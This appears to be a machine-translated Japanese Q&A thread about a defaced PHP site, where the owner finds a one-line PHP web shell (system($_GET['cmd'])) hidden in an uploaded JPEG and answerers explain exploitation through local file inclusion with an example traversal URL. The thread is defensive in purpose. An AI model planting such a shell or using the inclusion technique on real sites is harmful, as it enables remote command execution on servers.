8

昨日、私のサイトが構成されました。攻撃者は、index.php ファイルを独自のものに変更します (すべての栄光のメッセージと挨拶を含む)。私はこれについてホスティング会社に通知しました(私たちは専用サーバーで実行しています)、私は原因と思われるものを修正しようとしています.サーバーが攻撃されましたが、犯人である可能性がある特定のスクリプト ベースの抜け穴を見つけたと思います。

私たちのサイトには画像アップローダー フォームがありますが、アップロードされたすべての画像は、php の getimagesize 関数を使用して、コードではなく実際に画像ファイルであるかどうかを検証します。画像タイプが IMAGETYPE_GIF、IMAGETYPE_JPEG、または IMAGETYPE_PNG の場合のみ、それらは受け入れられます。そうしないと、ファイルをアップロードできません。しかし、アップロードされた画像ファイルの 1 つに php スクリプトが含まれていることがわかりました。画像はこちらからダウンロードできます。これは有効な画像ファイルですが、任意のテキスト エディターを使用して画像を開こうとすると、その中に php コードが含まれていることがわかります。

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

たとえば、画像はこの場所 (www.mysite.com/uploads/picodes.jpg) にアップロードされます。フォルダーのアップロードの許可は 755 であることに注意してください。攻撃者がシステム (またはパススルーなどの他のコマンド) を実行できる方法はありますか?たとえば、www.mysite.com/uploads/picodes.jpg?cmd=some command ??と入力します。私の知る限りでは、攻撃者が jpg ファイルの名前を php に変更できない限り、実行できません (誰かが私が間違っていることを証明できれば本当に感謝しています)。私が言おうとしていることを理解するためのテキストエディタ)

予防措置として、これらの php 関数 (exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system) を php.ini の disable_functions に追加して無効にしました。

とにかく、攻撃者は Web 経由ではなく、サーバー エクスプロイトを通じてアクセスを取得していると思いますが、私のホスティング会社は別の方法で考えていると思います。

4

4 に答える 4

5

任意の PHP コードを含む画像ファイルは、直接要求して悪用することはできませんhttp://www.mysite.com/uploads/image.jpg?cmd=somecode

それでも、ローカル ファイル インクルージョンの脆弱性で使用できます。

たとえば、index.php で を使用するinclude('pages/' . $_GET['page'] . '.php');と、攻撃者は PHP コードを含む画像をアップロードし、次のようなコマンドを実行できます。http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: URL のファイルをページに変更しました

于 2010-10-19T08:21:07.167 に答える
4

JPEG ファイルには、実際の画像データに加えて、任意のデータを含めることができます。それは仕様の一部です。したがって、画像が有効な JPEG かどうかを確認するだけでは、ファイルが完全に無害であるとは限りません。

于 2010-08-17T04:13:31.693 に答える
2

私の画像ファイルのアップローダー設定は次のとおりです:一時フォルダーにファイルをアップロードし、imagecreatefromjpegまたはimagecreatefrompngまたはimagecreatefromgifを使用して新しい画像を作成し、保存し、一時フォルダーからアップロードされたファイルを削除します(これらはすべて同じスクリプトアクション内で行われるため、一時フォルダーにアップロードされたファイルは長い間存在しない)

于 2013-02-04T11:57:23.070 に答える
2

これは、コードの脆弱性ではない可能性があります。私も数週間前に同じことがありました。すべての index.php ファイルが削除されましたが、Web から直接アクセスできないファイルも削除されました。私の場合、それは Linux のセキュリティ ホールでした。私のコードとは何の関係もありません。これは、問題に関する私のホスティング プロバイダー (A2Hosting) からの返信でした。私がやったことではないことを彼らに納得させると、彼らはすぐに物事を理解します。

「Linux カーネルの最近のエクスプロイトは、サーバー上のユーザーのディレクトリへの管理 (ルート) アクセスを許可するために使用されました。攻撃は、ディレクトリで見つかったインデックス ファイルを削除し、それらを攻撃者の目的のコンテンツに置き換えることで構成されていました。攻撃者のコードネーム「iSKORPiTX (トルコのハッカー)」.

于 2010-10-20T15:38:03.837 に答える